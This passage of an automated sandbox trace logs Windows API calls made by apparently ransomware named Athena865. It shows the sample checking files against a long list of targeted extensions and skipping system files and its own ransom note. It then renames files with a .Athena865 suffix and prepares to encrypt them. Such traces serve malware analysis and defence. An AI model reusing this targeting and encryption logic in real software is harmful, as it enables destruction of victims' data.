lpString2="gdb") returned 1 [0099.947] lstrlenW (lpString="gdb") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="gdb") returned 1 [0099.947] lstrlenW (lpString="grdb") returned 4 [0099.947] lstrcmpiW (lpString1="Info", lpString2="grdb") returned 1 [0099.947] lstrlenW (lpString="gwi") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="gwi") returned 1 [0099.947] lstrlenW (lpString="hdb") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="hdb") returned 1 [0099.947] lstrlenW (lpString="his") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="his") returned 1 [0099.947] lstrlenW (lpString="ib") returned 2 [0099.947] lstrcmpiW (lpString1="fo", lpString2="ib") returned -1 [0099.947] lstrlenW (lpString="idb") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="idb") returned 1 [0099.947] lstrlenW (lpString="ihx") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="ihx") returned 1 [0099.947] lstrlenW (lpString="itdb") returned 4 [0099.947] lstrcmpiW (lpString1="Info", lpString2="itdb") returned -1 [0099.947] lstrlenW (lpString="itw") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="itw") returned 1 [0099.947] lstrlenW (lpString="jet") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="jet") returned 1 [0099.947] lstrlenW (lpString="jtx") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="jtx") returned 1 [0099.947] lstrlenW (lpString="kdb") returned 3 [0099.947] lstrcmpiW (lpString1="nfo", lpString2="kdb") returned 1 [0099.947] lstrlenW (lpString="kexi") returned 4 [0099.947] lstrcmpiW (lpString1="Info", lpString2="kexi") returned -1 [0099.947] lstrlenW (lpString="kexic") returned 5 [0099.947] lstrcmpiW (lpString1="eInfo", lpString2="kexic") returned -1 [0099.947] lstrlenW (lpString="kexis") returned 5 [0099.948] lstrcmpiW (lpString1="eInfo", lpString2="kexis") returned -1 [0099.948] lstrlenW (lpString="lgc") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="lgc") returned 1 [0099.948] lstrlenW (lpString="lwx") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="lwx") returned 1 [0099.948] lstrlenW (lpString="maf") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="maf") returned 1 [0099.948] lstrlenW (lpString="maq") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="maq") returned 1 [0099.948] lstrlenW (lpString="mar") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="mar") returned 1 [0099.948] lstrlenW (lpString="marshal") returned 7 [0099.948] lstrcmpiW (lpString1="ateInfo", lpString2="marshal") returned -1 [0099.948] lstrlenW (lpString="mas") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="mas") returned 1 [0099.948] lstrlenW (lpString="mav") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="mav") returned 1 [0099.948] lstrlenW (lpString="maw") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="maw") returned 1 [0099.948] lstrlenW (lpString="mdbhtml") returned 7 [0099.948] lstrcmpiW (lpString1="ateInfo", lpString2="mdbhtml") returned -1 [0099.948] lstrlenW (lpString="mdn") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="mdn") returned 1 [0099.948] lstrlenW (lpString="mdt") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="mdt") returned 1 [0099.948] lstrlenW (lpString="mfd") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="mfd") returned 1 [0099.948] lstrlenW (lpString="mpd") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="mpd") returned 1 [0099.948] lstrlenW (lpString="mrg") returned 3 [0099.948] lstrcmpiW (lpString1="nfo", lpString2="mrg") returned 1 [0099.949] lstrlenW (lpString="mud") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="mud") returned 1 [0099.949] lstrlenW (lpString="mwb") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="mwb") returned 1 [0099.949] lstrlenW (lpString="myd") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="myd") returned 1 [0099.949] lstrlenW (lpString="ndf") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="ndf") returned 1 [0099.949] lstrlenW (lpString="nnt") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="nnt") returned -1 [0099.949] lstrlenW (lpString="nrmlib") returned 6 [0099.949] lstrcmpiW (lpString1="teInfo", lpString2="nrmlib") returned 1 [0099.949] lstrlenW (lpString="ns2") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="ns2") returned -1 [0099.949] lstrlenW (lpString="ns3") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="ns3") returned -1 [0099.949] lstrlenW (lpString="ns4") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="ns4") returned -1 [0099.949] lstrlenW (lpString="nsf") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="nsf") returned -1 [0099.949] lstrlenW (lpString="nv") returned 2 [0099.949] lstrcmpiW (lpString1="fo", lpString2="nv") returned -1 [0099.949] lstrlenW (lpString="nv2") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="nv2") returned -1 [0099.949] lstrlenW (lpString="nwdb") returned 4 [0099.949] lstrcmpiW (lpString1="Info", lpString2="nwdb") returned -1 [0099.949] lstrlenW (lpString="nyf") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="nyf") returned -1 [0099.949] lstrlenW (lpString="odb") returned 3 [0099.949] lstrcmpiW (lpString1="nfo", lpString2="odb") returned -1 [0099.949] lstrlenW (lpString="odb") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="odb") returned -1 [0099.950] lstrlenW (lpString="oqy") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="oqy") returned -1 [0099.950] lstrlenW (lpString="ora") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="ora") returned -1 [0099.950] lstrlenW (lpString="orx") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="orx") returned -1 [0099.950] lstrlenW (lpString="owc") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="owc") returned -1 [0099.950] lstrlenW (lpString="p96") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="p96") returned -1 [0099.950] lstrlenW (lpString="p97") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="p97") returned -1 [0099.950] lstrlenW (lpString="pan") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="pan") returned -1 [0099.950] lstrlenW (lpString="pdb") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="pdb") returned -1 [0099.950] lstrlenW (lpString="pdm") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="pdm") returned -1 [0099.950] lstrlenW (lpString="pnz") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="pnz") returned -1 [0099.950] lstrlenW (lpString="qry") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="qry") returned -1 [0099.950] lstrlenW (lpString="qvd") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="qvd") returned -1 [0099.950] lstrlenW (lpString="rbf") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="rbf") returned -1 [0099.950] lstrlenW (lpString="rctd") returned 4 [0099.950] lstrcmpiW (lpString1="Info", lpString2="rctd") returned -1 [0099.950] lstrlenW (lpString="rod") returned 3 [0099.950] lstrcmpiW (lpString1="nfo", lpString2="rod") returned -1 [0099.951] lstrlenW (lpString="rodx") returned 4 [0099.951] lstrcmpiW (lpString1="Info", lpString2="rodx") returned -1 [0099.951] lstrlenW (lpString="rpd") returned 3 [0099.951] lstrcmpiW (lpString1="nfo", lpString2="rpd") returned -1 [0099.951] lstrlenW (lpString="rsd") returned 3 [0099.951] lstrcmpiW (lpString1="nfo", lpString2="rsd") returned -1 [0099.951] lstrlenW (lpString="sas7bdat") returned 8 [0099.951] lstrcmpiW (lpString1="dateInfo", lpString2="sas7bdat") returned -1 [0099.951] lstrlenW (lpString="sbf") returned 3 [0099.951] lstrcmpiW (lpString1="nfo", lpString2="sbf") returned -1 [0099.951] lstrlenW (lpString="scx") returned 3 [0099.951] lstrcmpiW (lpString1="nfo", lpString2="scx") returned -1 [0099.951] lstrlenW (lpString="sdb") returned 3 [0099.951] lstrcmpiW (lpString1="nfo", lpString2="sdb") returned -1 [0099.951] lstrlenW (lpString="sdc") returned 3 [0099.951] lstrcmpiW (lpString1="nfo", lpString2="sdc") returned -1 [0099.958] lstrlenW (lpString="sdf") returned 3 [0099.958] lstrcmpiW (lpString1="nfo", lpString2="sdf") returned -1 [0099.958] lstrlenW (lpString="sis") returned 3 [0099.958] lstrcmpiW (lpString1="nfo", lpString2="sis") returned -1 [0099.958] lstrlenW (lpString="spq") returned 3 [0099.958] lstrcmpiW (lpString1="nfo", lpString2="spq") returned -1 [0099.958] lstrlenW (lpString="te") returned 2 [0099.958] lstrcmpiW (lpString1="fo", lpString2="te") returned -1 [0099.958] lstrlenW (lpString="teacher") returned 7 [0099.958] lstrcmpiW (lpString1="ateInfo", lpString2="teacher") returned -1 [0099.958] lstrlenW (lpString="tmd") returned 3 [0099.958] lstrcmpiW (lpString1="nfo", lpString2="tmd") returned -1 [0099.958] lstrlenW (lpString="tps") returned 3 [0099.958] lstrcmpiW (lpString1="nfo", lpString2="tps") returned -1 [0099.959] lstrlenW (lpString="trc") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="trc") returned -1 [0099.959] lstrlenW (lpString="trc") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="trc") returned -1 [0099.959] lstrlenW (lpString="trm") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="trm") returned -1 [0099.959] lstrlenW (lpString="udb") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="udb") returned -1 [0099.959] lstrlenW (lpString="udl") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="udl") returned -1 [0099.959] lstrlenW (lpString="usr") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="usr") returned -1 [0099.959] lstrlenW (lpString="v12") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="v12") returned -1 [0099.959] lstrlenW (lpString="vis") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="vis") returned -1 [0099.959] lstrlenW (lpString="vpd") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="vpd") returned -1 [0099.959] lstrlenW (lpString="vvv") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="vvv") returned -1 [0099.959] lstrlenW (lpString="wdb") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="wdb") returned -1 [0099.959] lstrlenW (lpString="wmdb") returned 4 [0099.959] lstrcmpiW (lpString1="Info", lpString2="wmdb") returned -1 [0099.959] lstrlenW (lpString="wrk") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="wrk") returned -1 [0099.959] lstrlenW (lpString="xdb") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="xdb") returned -1 [0099.959] lstrlenW (lpString="xld") returned 3 [0099.959] lstrcmpiW (lpString1="nfo", lpString2="xld") returned -1 [0099.960] lstrlenW (lpString="xmlff") returned 5 [0099.960] lstrcmpiW (lpString1="eInfo", lpString2="xmlff") returned -1 [0099.960] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo.Athena865") returned 113 [0099.960] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0099.960] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1CE95DD8-C40B-44FD-A9E6-D72D44ED8F39}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.961] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0099.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.961] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.962] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.962] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.962] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0099.964] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0099.964] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.965] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.965] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.966] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4a559220, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x4a559220, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x4a5f17a0, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", cAlternateFileName="{1E942~1")) returned 1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2=".") returned 1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="..") returned 1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="windows") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="temp") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="boot") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="perflogs") returned -1 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0099.966] lstrlenW (lpString="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo") returned 56 [0099.966] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo" | out: lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo") returned="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo" [0099.966] lstrlenW (lpString="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo") returned 56 [0099.966] lstrlenW (lpString="Athena865") returned 9 [0099.966] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0099.966] lstrlenW (lpString=".dll") returned 4 [0099.966] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2=".dll") returned 1 [0099.967] lstrlenW (lpString=".lnk") returned 4 [0099.967] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2=".lnk") returned 1 [0099.967] lstrlenW (lpString=".ini") returned 4 [0099.967] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2=".ini") returned 1 [0099.967] lstrlenW (lpString=".sys") returned 4 [0099.967] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo", lpString2=".sys") returned 1 [0099.967] lstrlenW (lpString="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo") returned 56 [0099.967] lstrlenW (lpString="bak") returned 3 [0099.967] lstrcmpiW (lpString1="nfo", lpString2="bak") returned 1 [0099.967] lstrlenW (lpString="ba_") returned 3 [0099.967] lstrcmpiW (lpString1="nfo", lpString2="ba_") returned 1 [0099.967] lstrlenW (lpString="dbb") returned 3 [0099.967] lstrcmpiW (lpString1="nfo", lpString2="dbb") returned 1 [0099.967] lstrlenW (lpString="vmdk") returned 4 [0099.967] lstrcmpiW (lpString1="Info", lpString2="vmdk") returned -1 [0099.967] lstrlenW (lpString="rar") returned 3 [0099.967] lstrcmpiW (lpString1="nfo", lpString2="rar") returned -1 [0099.967] lstrlenW (lpString="zip") returned 3 [0099.967] lstrcmpiW (lpString1="nfo", lpString2="zip") returned -1 [0099.967] lstrlenW (lpString="tgz") returned 3 [0099.967] lstrcmpiW (lpString1="nfo", lpString2="tgz") returned -1 [0099.967] lstrlenW (lpString="vbox") returned 4 [0099.967] lstrcmpiW (lpString1="Info", lpString2="vbox") returned -1 [0099.967] lstrlenW (lpString="vdi") returned 3 [0099.967] lstrcmpiW (lpString1="nfo", lpString2="vdi") returned -1 [0099.967] lstrlenW (lpString="vhd") returned 3 [0099.967] lstrcmpiW (lpString1="nfo", lpString2="vhd") returned -1 [0099.968] lstrlenW (lpString="vhdx") returned 4 [0099.968] lstrcmpiW (lpString1="Info", lpString2="vhdx") returned -1 [0099.968] lstrlenW (lpString="avhd") returned 4 [0099.968] lstrcmpiW (lpString1="Info", lpString2="avhd") returned 1 [0099.968] lstrlenW (lpString="db") returned 2 [0099.968] lstrcmpiW (lpString1="fo", lpString2="db") returned 1 [0099.968] lstrlenW (lpString="db2") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="db2") returned 1 [0099.968] lstrlenW (lpString="db3") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="db3") returned 1 [0099.968] lstrlenW (lpString="dbf") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="dbf") returned 1 [0099.968] lstrlenW (lpString="mdf") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="mdf") returned 1 [0099.968] lstrlenW (lpString="mdb") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="mdb") returned 1 [0099.968] lstrlenW (lpString="sql") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="sql") returned -1 [0099.968] lstrlenW (lpString="sqlite") returned 6 [0099.968] lstrcmpiW (lpString1="geInfo", lpString2="sqlite") returned -1 [0099.968] lstrlenW (lpString="sqlite3") returned 7 [0099.968] lstrcmpiW (lpString1="ageInfo", lpString2="sqlite3") returned -1 [0099.968] lstrlenW (lpString="sqlitedb") returned 8 [0099.968] lstrcmpiW (lpString1="kageInfo", lpString2="sqlitedb") returned -1 [0099.968] lstrlenW (lpString="xml") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="xml") returned -1 [0099.968] lstrlenW (lpString="$er") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="$er") returned 1 [0099.968] lstrlenW (lpString="4dd") returned 3 [0099.968] lstrcmpiW (lpString1="nfo", lpString2="4dd") returned 1 [0099.969] lstrlenW (lpString="4dl") returned 3 [0099.969] lstrcmpiW (lpString1="nfo", lpString2="4dl") returned 1 [0099.969] lstrlenW (lpString="^^^") returned 3 [0099.969] lstrcmpiW (lpString1="nfo", lpString2="^^^") returned 1 [0099.969] lstrlenW (lpString="abs") returned 3 [0099.969] lstrcmpiW (lpString1="nfo", lpString2="abs") returned 1 [0099.969] lstrlenW (lpString="abx") returned 3 [0099.969] lstrcmpiW (lpString1="nfo", lpString2="abx") returned 1 [0099.969] lstrlenW (lpString="accdb") returned 5 [0099.969] lstrcmpiW (lpString1="eInfo", lpString2="accdb") returned 1 [0099.969] lstrlenW (lpString="accdc") returned 5 [0099.969] lstrcmpiW (lpString1="eInfo", lpString2="accdc") returned 1 [0099.969] lstrlenW (lpString="accde") returned 5 [0099.969] lstrcmpiW (lpString1="eInfo", lpString2="accde") returned 1 [0099.969] lstrlenW (lpString="accdr") returned 5 [0099.969] lstrcmpiW (lpString1="eInfo", lpString2="accdr") returned 1 [0099.969] lstrlenW (lpString="accdt") returned 5 [0099.969] lstrcmpiW (lpString1="eInfo", lpString2="accdt") returned 1 [0099.969] lstrlenW (lpString="accdw") returned 5 [0099.969] lstrcmpiW (lpString1="eInfo", lpString2="accdw") returned 1 [0099.969] lstrlenW (lpString="accft") returned 5 [0099.969] lstrcmpiW (lpString1="eInfo", lpString2="accft") returned 1 [0099.969] lstrlenW (lpString="adb") returned 3 [0099.969] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0099.969] lstrlenW (lpString="adb") returned 3 [0099.969] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0099.969] lstrlenW (lpString="ade") returned 3 [0099.969] lstrcmpiW (lpString1="nfo", lpString2="ade") returned 1 [0099.969] lstrlenW (lpString="adf") returned 3 [0099.969] lstrcmpiW (lpString1="nfo", lpString2="adf") returned 1 [0099.969] lstrlenW (lpString="adn") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="adn") returned 1 [0099.970] lstrlenW (lpString="adp") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="adp") returned 1 [0099.970] lstrlenW (lpString="alf") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="alf") returned 1 [0099.970] lstrlenW (lpString="ask") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="ask") returned 1 [0099.970] lstrlenW (lpString="btr") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="btr") returned 1 [0099.970] lstrlenW (lpString="cat") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="cat") returned 1 [0099.970] lstrlenW (lpString="cdb") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="cdb") returned 1 [0099.970] lstrlenW (lpString="ckp") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="ckp") returned 1 [0099.970] lstrlenW (lpString="cma") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="cma") returned 1 [0099.970] lstrlenW (lpString="cpd") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="cpd") returned 1 [0099.970] lstrlenW (lpString="dacpac") returned 6 [0099.970] lstrcmpiW (lpString1="geInfo", lpString2="dacpac") returned 1 [0099.970] lstrlenW (lpString="dad") returned 3 [0099.970] lstrcmpiW (lpString1="nfo", lpString2="dad") returned 1 [0099.970] lstrlenW (lpString="dadiagrams") returned 10 [0099.970] lstrcmpiW (lpString1="ackageInfo", lpString2="dadiagrams") returned -1 [0099.970] lstrlenW (lpString="daschema") returned 8 [0099.970] lstrcmpiW (lpString1="kageInfo", lpString2="daschema") returned 1 [0099.970] lstrlenW (lpString="db-journal") returned 10 [0099.970] lstrcmpiW (lpString1="ackageInfo", lpString2="db-journal") returned -1 [0099.970] lstrlenW (lpString="db-shm") returned 6 [0099.971] lstrcmpiW (lpString1="geInfo", lpString2="db-shm") returned 1 [0099.971] lstrlenW (lpString="db-wal") returned 6 [0099.971] lstrcmpiW (lpString1="geInfo", lpString2="db-wal") returned 1 [0099.971] lstrlenW (lpString="dbc") returned 3 [0099.971] lstrcmpiW (lpString1="nfo", lpString2="dbc") returned 1 [0099.971] lstrlenW (lpString="dbs") returned 3 [0099.971] lstrcmpiW (lpString1="nfo", lpString2="dbs") returned 1 [0099.971] lstrlenW (lpString="dbt") returned 3 [0099.971] lstrcmpiW (lpString1="nfo", lpString2="dbt") returned 1 [0099.971] lstrlenW (lpString="dbv") returned 3 [0099.971] lstrcmpiW (lpString1="nfo", lpString2="dbv") returned 1 [0099.971] lstrlenW (lpString="dbx") returned 3 [0099.971] lstrcmpiW (lpString1="nfo", lpString2="dbx") returned 1 [0099.971] lstrlenW (lpString="dcb") returned 3 [0099.971] lstrcmpiW (lpString1="nfo", lpString2="dcb") returned 1 [0099.971] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo.Athena865") returned 113 [0099.971] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0099.972] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.972] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0099.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.973] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.974] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.974] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 